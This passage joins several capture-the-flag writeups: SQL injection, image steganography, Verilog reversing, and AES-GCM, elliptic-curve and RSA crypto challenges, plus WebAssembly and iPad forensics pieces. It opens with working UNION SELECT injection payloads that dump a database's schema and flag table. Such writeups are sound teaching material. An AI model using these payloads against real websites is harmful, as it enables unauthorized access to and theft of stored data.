source code) in sqlite browser, we see that it has 6 columns. To list columns and tables, I used the following payload ```htmlGET /?chall_id=1&chall_id=1/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,NULL,sql/**/FROM/**/sqlite_master``` Using this payload we get a table named `flagsss` and column named `flag` Now, we can use the following query to retrieve the flag. ```htmlGET /?chall_id=1&chall_id=1/**/UNION/**/SELECT/**/NULL,NULL,NULL,NULL,NULL,flag/**/FROM/**/flagsss``` So the flag is `BSNoida{4_v3ry_w4rm_w31c0m3_2_bs1d35_n01d4}`
*This writeup is also readable on my [GitHub repository](https://github.com/shawnduong/zero-to-hero-hacking/blob/master/writeups/closed/2021-uiuctf.md) and [personal website](https://shawnd.xyz/blog/2021-08-12/Diffing-Images-and-Using-Columnar-LSB-to-Retrieve-a-Message).* ## forensics/capture the :flag: *Challenge written by spamakin.* > It's always in the place you least expect [sic] Right off the bat, I'm suspecting that this is some kind of LSB steganography challenge; the description references the place we would "least" expect. There're no given files, but the title of the challenge suggests that any relevant files may be found on Discord since `:name:` is the syntax for an emoji on Discord. There's a flag emoji on the UIUCTF 2021 server: ![](https://irissec.xyz/uploads/2021-08-08/img00.png) Sure enough, downloading the image from Discord gives us a PNG to work with: ![](https://irissec.xyz/uploads/2021-08-08/flag.png) Checksum (SHA-1): ```d565835e0b40a93e2c6330c028b7e153f7d00a6c flag.png``` If we look at the image's included metadata using a tool like `exiftool`, then we can see a hint in the description: ```ExifTool Version Number : 12.26File Name : flag.pngDirectory : .File Size : 2.4 KiBFile Modification Date/Time : 2021:08:03 23:50:33-07:00File Access Date/Time : 2021:08:03 23:52:48-07:00File Inode Change Date/Time : 2021:08:03 23:52:48-07:00File Permissions : -rw-r--r--File Type : PNGFile Type Extension : pngMIME Type : image/pngImage Width : 120Image Height : 120Bit Depth : 8Color Type : RGB with AlphaCompression : Deflate/InflateFilter : AdaptiveInterlace : NoninterlacedDescription : Pixels[1337]Image Size : 120x120Megapixels : 0.014``` Interesting. "Pixels[1337]" implies that there's something going on with the 1337th pixel in the image. Let's load it up in Python and have a look. I don't have high hopes since a single pixel in an RGBA image would only be able to communicate 32 bits of information, but let's entertain the hint anyways. Here's some Python code and its output: ```python#!/usr/bin/env python3 from PIL import Image def main(): img = Image.open("./flag.png") pix = list(img.getdata()) print(pix[1337]) if __name__ == "__main__": main()``` ```(136, 153, 166, 255)``` Alright, well that didn't tell us much. Let's try changing them to hexadecimal to see if there's some 8-character message with only 0-F digits. Again, I don't have high hopes, but I'd rather entertain the thought and then strike it out than never try and never know: ```88 99 A6 FF``` That... that doesn't tell us anything useful. Let's go back to my initial hunch that this is an LSB steganography challenge and assume that "Pixels[1337]" was actually meant to be "Pixels[1337:]," in Python slice notation implying that all pixels from the 1337th index and onwards contain relevant data as opposed to singularly just the 1337th pixel. If an entire flag were to be encoded, then it could utilize all that space to embed its data steganographically as opposed to being confined to a maximum of 32 bits provided by the 4 8-bit RGBA channels present in this image. Before continuing, let me first introduce the idea of least significant bit (LSB) steganography for the uninitiated: steganography is the act of embedding a plaintext inside of a covertext, and LSB steganography is one such method for embedding data inside of images as well as other formats that are insensitive to minute bit-level changes in a potentially large series of (typically) consecutive bytes. A digital image may contain up to 4 color planes: red, green, blue, and alpha (transparency), each able to express their own intensities using 8 bits; 0 is low-intensity and 255 is high-intensity, with 0 and 255 respectively being the minimum and maximum values that can be represented with 8 bits. Combinations of these color planes can express up to 16,777,216 colors plus transparency. Here's what (R,G,B,A) = (255, 0, 255, 255) looks like, for instance: ![](https://raw.githubusercontent.com/shawnduong/zero-to-hero-hacking/master/writeups/closed/images/2021-uiuctf/01/fig00.png) The working principle behind LSB steganography is that the human eye cannot detect extremely small changes in color. Here are two colors that differ by only one bit in each color plane, excluding the alpha plane: ```R G B A255 67 128 255 Left254 66 129 255 Right``` ![](https://raw.githubusercontent.com/shawnduong/zero-to-hero-hacking/master/writeups/closed/images/2021-uiuctf/01/fig01.png) I couldn't tell the difference -- could you? This flaw of our cognitive limitations allows a unique exploit targeting our biology itself: data can be steganographically embedded in the least significant bits of color planes in consecutive pixels of an image while simultaneously having a virtually perfectly invisible effect on the image itself. Even if a person were to have some sort of superhuman cognition and be able to accurately tell the difference between two minutely different colors, they would only be able to determine the differences if they had both the original and altered image. What we need is a computer -- which sees color not as a perception and effect of biology, but as ones and zeroes -- to extract the data from the least significant bits. The following colors encode the ASCII letter "A" in their least significant bits, excluding the alpha channel: ![](https://raw.githubusercontent.com/shawnduong/zero-to-hero-hacking/master/writeups/closed/images/2021-uiuctf/01/fig02.png) It looks like nothing but a white strip, but closer inspection of the individual colors reveals the message: ```R G B R G B LSB-R LSB-G LSB-B254 255 254 11111110 11111111 11111110 0 1 0 254 254 254 => 11111110 11111110 11111110 => 0 0 0 254 255 255 11111110 11111111 11111111 0 1 1 = 01000001 + 1 excess bit= 65 'A'``` A neat consequence of LSB steganography is that extracting the LSB of any byte can be conveniently expressed as passing the byte through an AND gate with the operand 1 (0000 0001). This allows us to easily express it in a programming language such as Python: ```python#!/usr/bin/env python3 from PIL import Image def main(): pixels = ( (254, 255, 254), (254, 254, 254), (254, 255, 255), ) LSBs = "" # Extract the LSBs. for pixel in pixels: for plane in pixel: LSBs += "%s" % (plane & 0x01) # Print the LSBs. print(LSBs) # Decode to ASCII. print("".join(chr(int(LSBs[i:i+8], 2)) for i in range(0, len(LSBs), 8))) if __name__ == "__main__": main() ``` ```010000011A``` Now that we understand LSB steganography, let's get back to the challenge and run the flag PNG through our script: ```python#!/usr/bin/env python3 from PIL import Image def main(): img = Image.open("./flag.png") pix = list(img.getdata()) lsb = "" # Extract the LSBs from 1337 onwards, due to the hint in the description. for pix in pix[1337:]: for plane in pix: lsb += "%s" % (plane & 0x01) # Decode to ASCII. print("".join(chr(int(lsb[i:i+8], 2)) for i in range(0, len(lsb), 8))) if __name__ == "__main__": main()``` ![](https://irissec.xyz/uploads/2021-08-08/img01.png) Okay... not what we were looking for. Could it be that we have to exclude the alpha channel? Let's try that: ```python#!/usr/bin/env python3 from PIL import Image def main(): img = Image.open("./flag.png").convert("RGB") pix = list(img.getdata()) lsb = "" # Extract the LSBs from 1337 onwards, due to the hint in the description. for pix in pix[1337:]: for plane in pix: lsb += "%s" % (plane & 0x01) # Decode to ASCII. print("".join(chr(int(lsb[i:i+8], 2)) for i in range(0, len(lsb), 8))) if __name__ == "__main__": main()``` ![](https://irissec.xyz/uploads/2021-08-08/img02.png) That... wasn't it either. What's going on here? Could our hunch about this being an LSB steganography challenge have been wrong? Perhaps the description was a red herring? Why-oh-why didn't this work? I was stuck for a few hours until an announcement was posted in the event Discord: ![](https://irissec.xyz/uploads/2021-08-08/img03.png) Judging by my reaction in my team's Discord, you could probably get the sense that I wasn't too happy: ![](https://irissec.xyz/uploads/2021-08-08/img04.png) Downloading the new emoji, I could see that it was indeed changed. Here's the new flag: ![](https://irissec.xyz/uploads/2021-08-08/flag_UPDATED.png) Checksum (SHA-1): ```c6763e87ce7dfed32408a0f6eaa3e5db9b5a89c8 flag.png``` This was where I took a probably unintended approach to the problem. Without much more context from the challenge author, I had assumed that the original flag was simply broken. Assuming that the new flag was fixed, I figured that I could compare the original flag with the new flag to find the differences and get a better idea of how the flag was embedded. Although I had initially deleted the original flag from my system and downloaded the new flag the moment I saw that announcement out of frustration, Discord does not retroactively update emojis. To get a copy of the original flag, I simply just had to go to an occurrence of the flag emoji from before it was updated. With the original flag and the updated flag, I performed a subtractive operation to find the differences between the original flag and the updated flag: ![](https://irissec.xyz/uploads/2021-08-08/img05.bmp) Seeing that these differences occur in the same column, I realize that this must be a columnar LSB steganography challenge. These differences begin at pixel index 2051 and span for 88 vertically adjacent pixels. Thus, the image being 120 pixels in width, we can add 88 multiples of 120 to our initial starting point of 2051 and extract their least significant bits to hopefully retrieve the flag. We can adapt our Python script to perform this columnar LSB extraction: ```python#!/usr/bin/env python3 from PIL import Image def main(): img = Image.open("./flag.png").convert("RGB") pix = list(img.getdata()) lsb = "" # Extract the LSBs vertically starting from 2051 for 88 pixels. for i in range(2051, 2051 + 120*88, 120): for plane in pix[i]: lsb += "%s" % (plane & 0x01) # Decode to ASCII. print("".join(chr(int(lsb[i:i+8], 2)) for i in range(0, len(lsb), 8))) if __name__ == "__main__": main()``` ```uiuctf{d!sc0rd_fl4g_h0w_b0ut_d4t}``` Diffing two images to determine how the message was steganographically embedded may not have been what the author had in mind, but it's a real-life tactic against steganography. By diffing an older variant of the flag with the updated flag, we were able to determine that it was column-based LSB steganography starting at pixel index 2051 and spanning for 88 vertically adjacent pixels. We adapted our script and retrieved the plaintext message successfully. That was how I solved this challenge. The "Pixels[1337]" hint probably meant index 1337 column-wise, but pixels aren't indexed column-wise. Even with the hint in the updated flag, "LSBs(Pixels[1337:])," I would assume that most people who tried this challenge relied too heavily on the validity of the description in conjunction their own (correct) knowledge that pixels in an image are indexed left-to-right, row-by-row. This was, in actuality, an extremely easy challenge, but the given information was misleading in meaning and did not, at any time, be a part of my solution to this challenge; I took an unintended approach instead.
[link to original writeup](https://github.com/babaiserror/ctf/blob/main/%5B210723-27%5D%20ImaginaryCTF%202021/Abnormal/README.md) It's a continuation from Normal. First observe that the `abnormal` module calls `nor` and `norc`, `norc` calls `norb`, and `norb` calls `nora`. `nora`: Drawing a diagram and truth tables, and figuring out that the `nora` module is a [full adder](https://en.wikipedia.org/wiki/Adder_(electronics)#Full_adder) is key. After that, it's easy, `norb` just adds two 16-bit numbers, and `norc` just adds two 256-bit numbers. `abnormal` adds a constant to the input, and another constant to the other constant, then xor's the two (the nor's are identical (with one nor gate added to essentially do a `not` operation) to that of `Normal`). The input is the flag, and the output needs to be 0. So it boils down to: `flag = (result of adding two constants given) - (another given constant)`.
[Link to original writeup](https://github.com/babaiserror/ctf/blob/main/%5B210723-27%5D%20ImaginaryCTF%202021/README.md#normal-reversing-150-pts) Looking into the given verilog file, the main function has a flag variable that's 256 bits long, and a wrong variable that is also 256 bits long. normal flagchecker(wrong, flag) is called, and if wrong is 0, it will be display "Correct!". So we need to make wrong 0. Looking at the module normal, wrong is out and the flag is in; the module is only done with nor operations. Drawing a diagram then a truth table, we see that the output is basically `~(in ^ c1 ^ c2)`, which we want to be 0. So `flag = (~0) ^ c1 ^ c2`. We get the flag from this.
## Wolf### Challenge When we connect to the server, it chooses a random length `niv`between 1 and 11, and a random nonce of that length. We can requestthe flag encrypted using AES-GCM with the key `HungryTimberWolf` andthat IV, and ask for the server to encrypt our input with the sameparameters. ```python#!/usr/bin/env python3 from Cryptodome.Cipher import AESimport os, time, sys, randomfrom flag import flag passphrase = b'HungryTimberWolf' def encrypt(msg, passphrase, niv): msg_header = 'EPOCH:' + str(int(time.time())) msg = msg_header + "\n" + msg + '=' * (15 - len(msg) % 16) aes = AES.new(passphrase, AES.MODE_GCM, nonce = niv) enc = aes.encrypt_and_digest(msg.encode('utf-8'))[0] return enc def die(*args): pr(*args) quit() def pr(*args): s = " ".join(map(str, args)) sys.stdout.write(s + "\n") sys.stdout.flush() def sc(): return sys.stdin.readline().strip() def main(): border = "+" pr(border*72) pr(border, " hi wolf hunters, welcome to the most dangerous hunting ground!! ", border) pr(border, " decrypt the encrypted message and get the flag as a nice prize! ", border) pr(border*72) niv = os.urandom(random.randint(1, 11)) flag_enc = encrypt(flag, passphrase, niv) while True: pr("| Options: \n|\t[G]et the encrypted flag \n|\t[T]est the encryption \n|\t[Q]uit") ans = sc().lower() if ans == 'g': pr(f'| encrypt(flag) = {flag_enc.hex()}') elif ans == 't': pr("| Please send your message to encrypt: ") msg_inp = sc() enc = encrypt(msg_inp, passphrase, niv).hex() pr(f'| enc = {enc}') elif ans == 'q': die("Quitting ...") else: die("Bye ...") if __name__ == '__main__': main()``` ### Solution Since `niv` is uniformly random, in one out of 11 connections the nonce will only be one byte long. If this happens, we can easily bruteforce the encrypted flag: we already know the key, and can try all 256 nonce values to see if one of them gives a plaintext that looks like a flag. A quick Python script collects encrypted flags, which we can dump into a single file to process later: ```python#! /usr/bin/env pythonfrom pwn import * serv = pwnlib.tubes.remote.remote('01.cr.yp.toc.tf', 27010)serv.sendline('g')serv.sendline('q') for line in serv.recvall().decode('utf-8').split('\n'): if 'encrypt(flag)' in line: print(line.rstrip().split()[-1])``` The solver isn't much longer: ```python#! /usr/bin/env pythonfrom Cryptodome.Cipher import AESimport binascii def trysolve(line): for iv in range(256): a = AES.new(b'HungryTimberWolf', AES.MODE_GCM, nonce=bytes([iv])) flag = a.decrypt(binascii.unhexlify(line)) if b'CTF' in flag: print(flag) with open('flags.txt', 'r') as f: for line in f.readlines(): if not line.startswith('['): trysolve(line.rstrip())``` ##### Flag `CCTF{____w0lveS____c4n____be____dan9er0uS____t0____p3oplE____!!!!!!}`
# My Artwork #### Category : Misc#### Points : 287 (149 solves)#### Author : rey ## Challenge "You can create art and beauty with a computer." - Steven LevySo, I decided not to use MS Paint anymore and write code instead!Hope you can see my art before the turtle runs away!He's pretty fast tbh!PS: Put the flag in BSNoida{} wrapper. Attachment : art.TURTLE Looking at the commands and searching them I find that they are syntax of MSW Logo so I download MSW Logo and execute the repeat commands one by one. Doing so we get ```bashCODE_IS_BEAUTY_BEAUTY_IS_CODE``` So our flag becomes```bashBSNoida{CODE_IS_BEAUTY_BEAUTY_IS_CODE}```
## Tiny ECC### Challenge > Being Smart will mean completely different if you can use [special numbers](https://cr.yp.toc.tf/tasks/tiny_ecc_f6ba20693ddf6ba78f1537889d2c46a17b7a4d8b.txz)!>> `nc 01.cr.yp.toc.tf 29010` ```python#!/usr/bin/env python3 from mini_ecdsa import *from Crypto.Util.number import *from flag import flag def tonelli_shanks(n, p): if pow(n, int((p-1)//2), p) == 1: s = 1 q = int((p-1)//2) while True: if q % 2 == 0: q = q // 2 s += 1 else: break if s == 1: r1 = pow(n, int((p+1)//4), p) r2 = p - r1 return r1, r2 else: z = 2 while True: if pow(z, int((p-1)//2), p) == p - 1: c = pow(z, q, p) break else: z += 1 r = pow(n, int((q+1)//2), p) t = pow(n, q, p) m = s while True: if t == 1: r1 = r r2 = p - r1 return r1, r2 else: i = 1 while True: if pow(t, 2**i, p) == 1: break else: i += 1 b = pow(c, 2**(m-i-1), p) r = r * b % p t = t * b ** 2 % p c = b ** 2 % p m = i else: return False def random_point(p, a, b): while True: gx = getRandomRange(1, p-1) n = (gx**3 + a*gx + b) % p gy = tonelli_shanks(n, p) if gy == False: continue else: return (gx, gy[0]) def die(*args): pr(*args) quit() def pr(*args): s = " ".join(map(str, args)) sys.stdout.write(s + "\n") sys.stdout.flush() def sc(): return sys.stdin.readline().strip() def main(): border = "+" pr(border*72) pr(border, " Dual ECC means two elliptic curve with same coefficients over the ", border) pr(border, " different fields or ring! You should calculate the discrete log ", border) pr(border, " in dual ECCs. So be smart in choosing the first parameters! Enjoy!", border) pr(border*72) bool_coef, bool_prime, nbit = False, False, 128 while True: pr(f"| Options: \n|\t[C]hoose the {nbit}-bit prime p \n|\t[A]ssign the coefficients \n|\t[S]olve DLP \n|\t[Q]uit") ans = sc().lower() if ans == 'a': pr('| send the coefficients a and b separated by comma: ') COEFS = sc() try: a, b = [int(_) for _ in COEFS.split(',')] except: die('| your coefficients are not valid, Bye!!') if a*b == 0: die('| Kidding me?!! a*b should not be zero!!') else: bool_coef = True elif ans == 'c': pr('| send your prime: ') p = sc() try: p = int(p) except: die('| your input is not valid :(') if isPrime(p) and p.bit_length() == nbit and isPrime(2*p + 1): q = 2*p + 1 bool_prime = True else: die(f'| your integer p is not {nbit}-bit prime or 2p + 1 is not prime, bye!!') elif ans == 's': if bool_coef == False: pr('| please assign the coefficients.') if bool_prime == False: pr('| please choose your prime first.') if bool_prime and bool_coef: Ep = CurveOverFp(0, a, b, p) Eq = CurveOverFp(0, a, b, q) xp, yp = random_point(p, a, b) P = Point(xp, yp) xq, yq = random_point(q, a, b) Q = Point(xq, yq) k = getRandomRange(1, p >> 1) kP = Ep.mult(P, k) l = getRandomRange(1, q >> 1) lQ = Eq.mult(Q, l) pr('| We know that: ') pr(f'| P = {P}') pr(f'| k*P = {kP}') pr(f'| Q = {Q}') pr(f'| l*Q = {lQ}') pr('| send the k and l separated by comma: ') PRIVS = sc() try: priv, qriv = [int(s) for s in PRIVS.split(',')] except: die('| your input is not valid, Bye!!') if priv == k and qriv == l: die(f'| Congrats, you got the flag: {flag}') else: die('| sorry, your keys are not correct! Bye!!!') elif ans == 'q': die("Quitting ...") else: die("Bye ...") if __name__ == '__main__': main()``` The challenge is to supply $a,b,p,q=2p+1$ to generate two curves $$E_p: y^2 = x^3 + ax + b \pmod p \\ E_q: y^2 = x^3 + ax + b \pmod q$$ The goal of the challenge is to solve the discrete log for a pair of points on each of these curves. Submitting the correct private keys gives you the flag. ### Solution I solved this challenge in a fairly ugly and inelegant way. So I'll go through it quickly, then discuss what seems to be the intended solution after. My idea was to generate a curve $E_p$ with $\\#E_p = p$. This is an anomalous curve, and using Smart's attack, the discrete log problem can be moved to solving a simple division by lifting the curve of the p-adics, which is just division! Then after making one curve easy, I would keep generating primes $p$ until I found a $(q,a,b)$ where $E_q$ had a smooth order, allowing us to solve the discrete log easily. #### Generating anomalous curves I refered to [Generating Anomalous Elliptic Curves](http://www.monnerat.info/publications/anomalous.pdf) to generate anomalous curves, and iterated through all primes $p$ where $E_p$ was anomalous. If $q = 2p + 1$ was prime, then I stored the tuple $(p,a,b)$ in a list. I did this until I had plenty of curves to look through. ```python# http://www.monnerat.info/publications/anomalous.pdfD = 19j = -2^15*3^3 def anon_prime(m): while True: p = (19*m*(m + 1)) + 5 if is_prime(p): return m, p m += 1 curves = []def anom_curve(): m = 2**61 + 2**60 # chosen so the curves have bit length 128 while True: m, p = anon_prime(m) a = (-3*j * inverse_mod((j - 1728), p)) % p b = (2*j * inverse_mod((j - 1728), p)) % p E = EllipticCurve(GF(p), [a,b]) if E.order() == p: G = E.gens()[0] print(f'Found an anomalous prime of bit length: {p.nbits()}') if is_prime(2*p + 1): print(f'Found an anomalous prime with safe prime q = 2p+1. p={p}') if p.nbits() != 128: exit() curves.append([p,a,b]) print(curves) m += 1``` Going through curves, I then looked to find $E_q$ of smooth order: ```pythonfor param in curves: p, a, b = param q = 2*p + 1 E1 = EllipticCurve(GF(p), [a,b]) E2 = EllipticCurve(GF(q), [a,b]) assert E1.order() == p print(factor(E2.order()))``` Pretty quickly, I found a curve (I think the 15th one?) with order: ```pythonE2.order() = 2 * 11 * 29 * 269 * 809 * 1153 * 5527 * 1739687 * 272437559 * 1084044811``` This is more than smooth enough to solve the dlog (about 10 seconds). Sending the parameters to the server: ```pythonp = 227297987279223760839521045903912023553q = 2*p + 1a = 120959747616429018926294825597988269841 b = 146658155534937748221991162171919843659``` I can solve this discrete log using Smart's attack, and the inbuilt discrete log on $E_q$ as it has smooth order. ```pythondef SmartAttack(P,Q,p): E = P.curve() Eqp = EllipticCurve(Qp(p, 2), [ ZZ(t) + randint(0,p)*p for t in E.a_invariants() ]) P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True) for P_Qp in P_Qps: if GF(p)(P_Qp.xy()[1]) == P.xy()[1]: break Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True) for Q_Qp in Q_Qps: if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]: break p_times_P = p*P_Qp p_times_Q = p*Q_Qp x_P,y_P = p_times_P.xy() x_Q,y_Q = p_times_Q.xy() phi_P = -(x_P/y_P) phi_Q = -(x_Q/y_Q) k = phi_Q/phi_P return ZZ(k) p = 227297987279223760839521045903912023553q = 2*p + 1a = 120959747616429018926294825597988269841 b = 146658155534937748221991162171919843659 Ep = EllipticCurve(GF(p), [a,b])G = Ep(97161828186858857945099901434400040095,76112161730436240110429589963792144699)rG = Ep(194119107523766318610516779439078452539,111570625156450061932127850545534033820) print(SmartAttack(G,rG,p)) Eq = EllipticCurve(GF(q), [a,b])H = Eq(229869041108862357437180702478501205702,238550780537940464808919616209960416466)sH = Eq(18599290990046241788386470878953668775,281648589325596060237553465951876240185) print(H.discrete_log(sH))``` ##### Flag `CCTF{ECC_With_Special_Prime5}` ### Intended Solution? Thanks to Ariana for suggeting this solution to me after the CTF ended. The challenge checks for $a * b \neq 0$ , but it does not do this modulo the primes, so if we pick any two primes $p, q = 2p+1$ we can send ```pythonp = 227297987279223760839521045903912023553q = 2*p + 1a = p*(2*p + 1)b = p*(2*p + 1)``` Such that the two curves are given by $$E_p: y^2 = x^3 + pq x + pq \pmod p = x^3 \\E_q: y^2 = x^3 + pq x + pq \pmod q = x^3 \\ $$ Which are singular curves (in particular, these singular curves have triple zeros, known as cusps). We can translate the discrete log over these curves to solving in the additive group of $F_p$ and so the discrete log is division, and trivial. See this [link](https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp) for an example. Basically, we use the homomorphism $$\phi(x,y) \to \frac{x}{y}$$ such that we can solve this discrete log in the following way $$H = [k] G, \;\; g = \frac{G_x}{G_y}, \;\; h = \frac{H_x}{H_y}, \;\; k = \frac{h}{g}$$ ```pythonp = 227297987279223760839521045903912023553q = 2*p + 1 Fp = GF(p)Fq = GF(q) Px, Py = (171267639996301888897655876215740853691,17515108248008333086755597522577521623)kPx, kPy = (188895340186764942633236645126076288341,83479740999426843193232746079655679683)k = Fp(Fp(kPx) / Fp(kPy)) / Fp(Fp(Px) / Fp(Py)) Qx, Qy = (297852081644256946433151544727117912742,290511976119282973548634325709079145116)lQx, lQy = (83612230453021831094477443040279571268,430089842202788608377537684275601116540)l = Fq(Fq(lQx) / Fq(lQy)) / Fq(Fq(Qx) / Fq(Qy)) print(f'{k}, {l}')``` However, these primes aren't special (re: the flag), so maybe this also isn't intended?
We are given with a **gzip** compressed file called `psst.tar.gz`. Decompress it with `gzip -d psst.tar.gz` and it gives a **tar archive** called `psst.tar`. Run `tar -xf psst.tar` and it gives a directory `chall`. In it, there is another *directory* and a *file* which contains a character. What we have to do is go to a directory, collect a character from a file and go to another directory and collect another character. Here is a *python script* to do that ```python# solve.py# Save the script in 'chall' directory and run it import os # There is only one directory in chall# So go to itos.chdir("Security") # loop until there is only one filewhile True: # list the directory and store results in items items = os.listdir() for item in items: # if the item is directory, set next directory to it if os.path.isdir(item): next_dir = item # if the item is a file, read it and print the content else: with open(item, 'r') as file: print(file.read().strip(), end='') # end='' to not to print new line # if there is only one item ( which means only one file ) break the loop if len(items) == 1: break # change to next directory os.chdir(next_dir) print("")``` Run it and it will print out the flag ```$ python3 solve.pyBSNoida{d1d_y0u_u53_b45h_5cr1pt1ng_6f7220737461636b6f766572666c6f773f}``` *flag*: `BSNoida{d1d_y0u_u53_b45h_5cr1pt1ng_6f7220737461636b6f766572666c6f773f}`
## Triplet### Challenge ```python#!/usr/bin/env python3 from Crypto.Util.number import *from random import randintimport sysfrom flag import FLAG def die(*args): pr(*args) quit() def pr(*args): s = " ".join(map(str, args)) sys.stdout.write(s + "\n") sys.stdout.flush() def sc(): return sys.stdin.readline().strip() def main(): border = "+" pr(border*72) pr(border, " hi talented cryptographers, the mission is to find the three RSA ", border) pr(border, " modulus with the same public and private exponent! Try your chance!", border) pr(border*72) nbit = 160 while True: pr("| Options: \n|\t[S]end the three nbit prime pairs \n|\t[Q]uit") ans = sc().lower() order = ['first', 'second', 'third'] if ans == 's': P, N = [], [] for i in range(3): pr("| Send the " + order[i] + " RSA primes such that nbit >= " + str(nbit) + ": p_" + str(i+1) + ", q_" + str(i+1) + " ") params = sc() try: p, q = params.split(',') p, q = int(p), int(q) except: die("| your primes are not valid!!") if isPrime(p) and isPrime(q) and len(bin(p)[2:]) >= nbit and len(bin(q)[2:]) >= nbit: P.append((p, q)) n = p * q N.append(n) else: die("| your input is not desired prime, Bye!") if len(set(N)) == 3: pr("| Send the public and private exponent: e, d ") params = sc() try: e, d = params.split(',') e, d = int(e), int(d) except: die("| your parameters are not valid!! Bye!!!") phi_1 = (P[0][0] - 1)*(P[0][1] - 1) phi_2 = (P[1][0] - 1)*(P[1][1] - 1) phi_3 = (P[2][0] - 1)*(P[2][1] - 1) if 1 < e < min([phi_1, phi_2, phi_3]) and 1 < d < min([phi_1, phi_2, phi_3]): b = (e * d % phi_1 == 1) and (e * d % phi_2 == 1) and (e * d % phi_3 == 1) if b: die("| You got the flag:", FLAG) else: die("| invalid exponents, bye!!!") else: die("| the exponents are too small or too large!") else: die("| kidding me?!!, bye!") elif ans == 'q': die("Quitting ...") else: die("Bye ...") if __name__ == '__main__': main()``` We need to send 3 pairs of primes followed by a keypair `e,d` so that `e,d` is a valid keypair for each modulus generated by each pair. Most easy solutions are patched out, as `e` and `d` both have to be less than the lowest phi and greater than 1. ### Solution Our main idea for this problem is to generate `phi_1`, `phi_2` and `phi_3` in a way so that `phi_2` is a multiple of `phi_1`, and `phi_3` is a multiple of `phi_2`. In this way, any valid keypair for `phi_3` (that also satisfies the length requirement) will also be a valid keypair for `phi_1` and `phi_2` and can be used to get the flag. We can generate primes as follows: ```pythondef phi(p,q): return (p-1) * (q-1) from random import randrange def genprime(baseprime): while True: k = randrange(2, 1000) p = baseprime * k + 1 if is_prime(p): return p p = random_prime(2^160)q = random_prime(2^160)r = genprime(p)s = genprime(q)t = genprime(r)u = genprime(s)phi_1 = phi(p,q)phi_2 = phi(r,s)phi_3 = phi(t,u)``` Now all we need to do is generate a valid keypair for `phi_3`. To do this, recall that the values $e$ and $d$ satisfy the following equation: $$e * d \equiv 1 \mod \phi(n)$$ therefore $$e * d = 1 + k * \phi(n)$$ If we find factors of $1 + phi(n3)$, we should be able to find two numbers that are small enough to satisfy the length requirements, as the value $k$ in the equation $$\phi(n3) = k * \phi(n1)$$ should be small. We can just use something like [factordb](http://factordb.com/) for this. Once we do that, we submit everything to the server and get our flag. Example input:```1016528131013635090619361217720494946552931485213,14295848824482108866697287331947101841489157631576211546314237476302579971345731015750127038990912821,88600591899148434498383523736518339541553508251077939404281119755539122106076617436757845692337032242009481,2406392075980871480976096504683838101948593284099276307343589288709210633359625764026901174390804401096987086682930362519465081895858044399533,5191731325979249818708517``` ##### Flag `CCTF{7HrE3_b4Bie5_c4rRi3d_dUr1nG_0Ne_pr39naNcY_Ar3_triplets}`
# UIUCTF 2021 - Wasmbaby (Beginner) Writeup* Type - Web* Name - Wasmbaby* Points - 50 ## Description```wasm's a cool new technology! http://wasmbaby.chal.uiuc.tf author: ian5v``` ## Writeup"Wasm" stands for [WebAssembly](https://developer.mozilla.org/en-US/docs/WebAssembly), a low-level language that allows you to run non-web files on a web browser. For example, if you wanted to run a C++ or Rust file in your web browser, you can convert it into WebAssembly and integrate it into your website through JavaScript. More details about WebAssembly can be found [here](https://webassembly.org/). ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/wasmbaby/download_wasm.png) To download a wasm file for local editing, you can open the console, go to Sources, and you'll find the .wasm file. If you right click on the underlined portion shown above and select "Open in a New Tab", it will download the .wasm file for you since it can't properly display it by itself in the browser. Now that we have this binary file, we want to convert it to a more readable format so we can understand what it's supposed to do. There's a GitHub repository that WebAssembly maintains called [WebAssembly Binary Toolkit](https://github.com/WebAssembly/wabt) that allows you to convert and manipulate WebAssembly files. I cloned the repository and went through the steps described to install all the files. `wasm-decompile` is a program that turns a .wasm file into a much more readable format. I used the commands below to turn index.wasm into a .dcmp file. ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/wasmbaby/extract_flag.png) I then used grep to see if the flag was in plaintext, which it was! Luckily, I didn't have to go and inspect the program any closer! **Flag:** `uiuctf{welcome_to_wasm_e3c3bdd1}` ## Real-World ApplicationWhile Wasm has huge benefits (allowing computationally-heavy tasks to be optimized much more), it's not very widespread in application. Why is that? [One article hypothesizes](https://blog.bitsrc.io/whats-wrong-with-web-assembly-3b9abb671ec2) that the lack of marketing is the reason why it's not used as much. It *is* used by Unity, Google Earth, AutoCAD, and other big projects, but it still has so much untapped potential. So how is this important in the real world? History has shown that security almost always comes *after* something is designed and becomes big. The Internet was never designed with security in mind; SSL/TLS versions of almost all procotols came after the initial protocol was created and widespread. I would be willing to bet that Wasm, unless we change it, will follow the same pattern. It's important that we realize the security implications of Wasm *before* it becomes big so we can get ahead of the curve! This challenge had the flag in plaintext in the wasm file. While most people aren't too familiar with Wasm, it doesn't take much work to figure out how to access and download the file to extract credentials. Security through obscurity is not security.
# UIUCTF 2021 - Tablet 1 Writeup* Type - Forensics* Name - Tablet 1* Points - 103 ## Description```Red has been acting very sus lately... so I took a backup of their tablet to see if they are hiding something! It looks like Red has been exfiltrating sensitive data bound for Mira HQ to their own private server. We need to access that server and contain the leak. NOTE: Both Tablet challenges use the same tablet.tar.gz file. Google Drive mirrorDropbox mirrorMEGA mirrorMD5: f629eec128551cfd69a906e7a29dc162 author: WhiteHoodHacker``` ## WriteupThe two tags that the creator included for this challenge were `forensics` and `iPadOS`, so I knew this would be a mobile forensics challenge. I've only used Autopsy in the past for forensics, so I decided to put the files through it's algorithms and see what it finds. [Autopsy](https://www.autopsy.com/) is a widely-used, open-source forensics platform that analyzes disk images, memory, file systems, and others. It runs a series of specialized modules to pull out pertinent information and display the most important stuff first. ![](https://raw.githubusercontent.com/BYU-CTF-group/writeups/main/UIUCTF_2021/tablet1/filesystem.png) The three mirrors that were included in the description downloaded a .tar.gz file of the entire filesystem of an iPad. Upon first inspection, there was a half GB of total data with over 6000 files and folders. I opened a new case in Autopsy and ran all the modules on it. Unfortunately, the iOS Analyzer didn't highlight anything useful, except the location for a Discord cookie. This ended up being useful for the second tablet challenge. The cookie was stored at `/mobile/Containers/Data/Application/0CE5D539-F72A-4C22-BADF-A02CE5A50D2E/Library/Cookies/`, but was the only thing inside. I looked around a little more but didn't quite find anything particularly useful. I went back to the base directory and found the 